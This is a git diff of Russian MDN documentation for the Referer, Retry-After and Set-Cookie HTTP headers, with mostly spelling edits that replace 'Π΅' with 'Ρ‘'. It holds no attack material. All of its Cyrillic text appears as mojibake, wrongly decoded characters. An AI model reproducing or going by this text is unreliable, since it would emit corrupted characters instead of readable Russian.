+<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΡΡΡ‹Π»Π°ΠΉΡ‚Π΅ΡΡŒ ΠΈ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π½Π° страницу ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±Π΅Π· ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, бСзопасности ΠΈ сопряТённых с этим рисков, Π² Ρ‚ΠΎΠΌ числС Π½Π° страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ содСрТат ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ рискС, Π½ΠΎ связаны с Π½ΠΈΠΌ.</p>
<p>К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ URL страницы сброса пароля Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΏΠ°Π΄Π°Ρ‚ΡŒ Π½Π° хосты, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° страницС, ΠΈ хосты ссылок, Π½Π°ΠΆΠ°Ρ‚Ρ‹Ρ… Π½Π° этой страницС. Π’ ΠΎΠ±ΠΎΠΈΡ… случаях сторонний хост ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ <code>Referer</code> ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
@@ -32,7 +32,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Referer
<ul>
<li>исходный рСсурс -- Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ "Ρ„Π°ΠΉΠ»" ΠΈΠ»ΠΈ "data" URI,</li>
- <li>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΉ HTTP-запрос, Π° исходная страница Π±Ρ‹Π»Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° с Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ (HTTPS).</li>
+ <li>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΉ HTTP-запрос, Π° исходная страница Π±Ρ‹Π»Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° с Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ (HTTPS).</li>
</ul>
<table class="properties">
@@ -57,7 +57,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Referer
<dl>
<dt>&lt;url&gt;</dt>
- <dd>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ частичный адрСс ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Π²Π΅Π±-страницы, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» осущСствлСн ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ страницу. Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ URL-адрСса (Ρ‚.ΠΊ. #ΡΠΊΠΎΡ€ΡŒ") ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ(Ρ‚.ΠΊ. "Π»ΠΎΠ³ΠΈΠ½:ΠΏΠ°Ρ€ΠΎΠ»ΡŒ" Π² "https://username:password@example.com/foo/bar/") Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ.</dd>
+ <dd>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ частичный адрСс ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Π²Π΅Π±-страницы, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» осущСствлён ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ страницу. Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ URL-адрСса (Ρ‚.ΠΊ. #ΡΠΊΠΎΡ€ΡŒ") ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ(Ρ‚.ΠΊ. "Π»ΠΎΠ³ΠΈΠ½:ΠΏΠ°Ρ€ΠΎΠ»ΡŒ" Π² "https://username:password@example.com/foo/bar/") Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/http/headers/retry-after/index.html b/files/ru/web/http/headers/retry-after/index.html
index 75b793195e..6161a8dbee 100644
--- a/files/ru/web/http/headers/retry-after/index.html
+++ b/files/ru/web/http/headers/retry-after/index.html
@@ -42,7 +42,7 @@ Retry-After: &lt;delay-seconds&gt;
<dl>
<dt>&lt;http-date&gt;</dt>
- <dd>Π”Π°Ρ‚Π°, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π΅Ρ‰Π΅ Ρ€Π°Π·.Β Π—Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ ΠΊ HTTP Π΄Π°Ρ‚Π΅, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ сюда:Β {{HTTPHeader("Π”Π°Ρ‚Π°")}}.</dd>
+ <dd>Π”Π°Ρ‚Π°, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π΅Ρ‰Ρ‘ Ρ€Π°Π·.Β Π—Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ ΠΊ HTTP Π΄Π°Ρ‚Π΅, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ сюда:Β {{HTTPHeader("Π”Π°Ρ‚Π°")}}.</dd>
<dt>&lt;delay-seconds&gt;</dt>
<dd>ΠΠ΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ число сСкунд, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ врСмя оТидания ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΎΠ²Ρ‹ΠΌ запросом.</dd>
</dl>
@@ -51,7 +51,7 @@ Retry-After: &lt;delay-seconds&gt;
<h3 id="Π Π°Π±ΠΎΡ‚Π°_с_Π·Π°ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ_Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ_простоя">Π Π°Π±ΠΎΡ‚Π° с Π·Π°ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ простоя</h3>
-<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°Β <code>Retry-After</code>Β Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π΅Ρ‰Π΅ Π½Π΅ Π²Π΅Π·Π΄Π΅. Π’ΠΏΡ€ΠΎΡ‡Π΅ΠΌ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΠΎΡ‚Ρ‹, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Googlebot, ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Retry-After</code>. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ с ΠΊΠΎΠ΄ΠΎΠΌΒ {{HTTPStatus(503)}} (Service Unavailable), Ρ‡Ρ‚ΠΎΠ±Ρ‹ поисковики ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠ»ΠΈ ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ послС простоя</p>
+<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°Β <code>Retry-After</code>Β Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π΅Ρ‰Ρ‘ Π½Π΅ Π²Π΅Π·Π΄Π΅. Π’ΠΏΡ€ΠΎΡ‡Π΅ΠΌ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΠΎΡ‚Ρ‹, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Googlebot, ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Retry-After</code>. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ с ΠΊΠΎΠ΄ΠΎΠΌΒ {{HTTPStatus(503)}} (Service Unavailable), Ρ‡Ρ‚ΠΎΠ±Ρ‹ поисковики ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠ»ΠΈ ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ послС простоя</p>
<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
Retry-After: 120
diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html
index 1898f6cf56..90c65266d9 100644
--- a/files/ru/web/http/headers/set-cookie/index.html
+++ b/files/ru/web/http/headers/set-cookie/index.html
@@ -63,14 +63,14 @@ Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt
<dd>Cookie начинаСтся с ΠΏΠ°Ρ€Ρ‹ имя-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅:
<ul>
<li><code>&lt;cookie-name&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ символы US-ASCII, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… символов (CTLs), ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ², ΠΈΠ»ΠΈ табуляций. Оно Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… символов, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅: <code>( ) &lt; &gt; @ , ; : \ " /Β  [ ] ? = { }</code>.</li>
- <li><code>&lt;cookie-value&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ,Β Β  Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ Π»ΡŽΠ±Ρ‹Π΅ символы US-ASCII Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ CTLs, ΠΏΡ€ΠΎΠ±Π΅Π»Π°, Π΄Π²ΠΎΠΉΠ½Ρ‹Ρ… ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ, запятой, Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой, ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ слСша. <strong>ΠšΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅:</strong> МногиС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² значСниях cookies, ΠΎΠ΄Π½Π°ΠΊΠΎ этого Π½Π΅ трСбуСтся ΠΏΠΎ спСцификации RFC.Β  Однако, это ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… символах Π² &lt;cookie-value&gt;.</li>
- <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с ΠΈΠΌΠ΅Π½Π΅ΠΌ, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌΡΡ с  <code> __Secure-</code> (ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ прСфикса ) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ установлСны вмСстС с Ρ„Π»Π°Π³ΠΎΠΌ secure, ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ с бСзопасной страницы (HTTPS).</li>
- <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с ΠΈΠΌΠ΅Π½Π΅ΠΌ, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌΡΡ с <code>__Host-</code> Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ установлСны с Ρ„Π»Π°Π³ΠΎΠΌ secure <code>secure</code>, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ с бСзопасной страницы (HTTPS),Β  Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π΄ΠΎΠΌΠ΅Π½ (ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅ Π½Π΅ ΠΏΠΎΡΡ‹Π»Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°ΠΌΠΈ), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Path Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ "/".</li>
+ <li><code>&lt;cookie-value&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ,Β Β  Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ Π»ΡŽΠ±Ρ‹Π΅ символы US-ASCII Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ CTLs, ΠΏΡ€ΠΎΠ±Π΅Π»Π°, Π΄Π²ΠΎΠΉΠ½Ρ‹Ρ… ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ, запятой, Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой, ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ слСша. <strong>ΠšΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅:</strong> МногиС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² значСниях cookies, ΠΎΠ΄Π½Π°ΠΊΠΎ этого Π½Π΅ трСбуСтся ΠΏΠΎ спСцификации RFC.Β  Однако, это ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… символах Π² &lt;cookie-value&gt;.</li>
+ <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с ΠΈΠΌΠ΅Π½Π΅ΠΌ, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌΡΡ с  <code> __Secure-</code> (ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ прСфикса ) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ установлСны вмСстС с Ρ„Π»Π°Π³ΠΎΠΌ secure, ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ с бСзопасной страницы (HTTPS).</li>
+ <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с ΠΈΠΌΠ΅Π½Π΅ΠΌ, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌΡΡ с <code>__Host-</code> Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ установлСны с Ρ„Π»Π°Π³ΠΎΠΌ secure <code>secure</code>, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ с бСзопасной страницы (HTTPS),Β  Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π΄ΠΎΠΌΠ΅Π½ (ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅ Π½Π΅ ΠΏΠΎΡΡ‹Π»Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°ΠΌΠΈ), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Path Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ "/".</li>
</ul>
</dd>
<dt><code>Expires=&lt;date&gt;</code> {{optional_inline}}</dt>
<dd>
- <p>МаксимальноС врСмя ΠΆΠΈΠ·Π½ΠΈ cookie Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ Π΄Π°Ρ‚Ρ‹-Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ HTTP.Β  Π‘ΠΌ. {{HTTPHeader("Date")}} ΠΎ дСталях Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Β  Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ врСмя ΠΆΠΈΠ·Π½ΠΈ <strong>сСссионного cookie. Β  </strong>БСссия ΠΎΠΊΠΎΠ½Ρ‡Π΅Π½Π°, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ сСссионных cookie Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚. Однако, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ восстановлСниС сСссии, которая сохраняСт всС ваши Π²ΠΊΠ»Π°Π΄ΠΊΠΈ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΡ…, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π· запускаСтС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Cookies Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, словно Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</p>
+ <p>МаксимальноС врСмя ΠΆΠΈΠ·Π½ΠΈ cookie Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ Π΄Π°Ρ‚Ρ‹-Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ HTTP.Β  Π‘ΠΌ. {{HTTPHeader("Date")}} ΠΎ дСталях Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Β  Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ врСмя ΠΆΠΈΠ·Π½ΠΈ <strong>сСссионного cookie. Β  </strong>БСссия ΠΎΠΊΠΎΠ½Ρ‡Π΅Π½Π°, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ сСссионных cookie Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚. Однако, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ восстановлСниС сСссии, которая сохраняСт всС ваши Π²ΠΊΠ»Π°Π΄ΠΊΠΈ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΡ…, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π· запускаСтС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Cookies Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, словно Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</p>
<p>ΠšΠΎΠ³Π΄Π°Β ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚ΡΡ срок дСйствия, врСмя ΠΈ Π΄Π°Ρ‚Π° ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π½Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ сСрвСра, Π° ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ установлСно cookie,</p>
</dd>
@@ -86,7 +86,7 @@ Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt
<dt><code>Path=&lt;path-value&gt;</code> {{optional_inline}}</dt>
<dd>ΠŸΡƒΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½ΠΎΠΌ URL, ΠΈΠ½Π°Ρ‡Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Cookie.</dd>
<dd>ΠŸΡ€ΠΈΠΌΠ΅Ρ€: <code>/</code> - cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ со всСми запросами<br>
- ΠŸΡ€ΠΈΠΌΠ΅Ρ€: <code>/docs/</code>Β - cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с запросами ΠΊ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ docs ΠΈ Π΅Π΅ поддирСкториям</dd>
+ ΠŸΡ€ΠΈΠΌΠ΅Ρ€: <code>/docs/</code>Β - cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с запросами ΠΊ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ docs ΠΈ Π΅Ρ‘ поддирСкториям</dd>
<dt><code>Secure</code> {{optional_inline}}</dt>
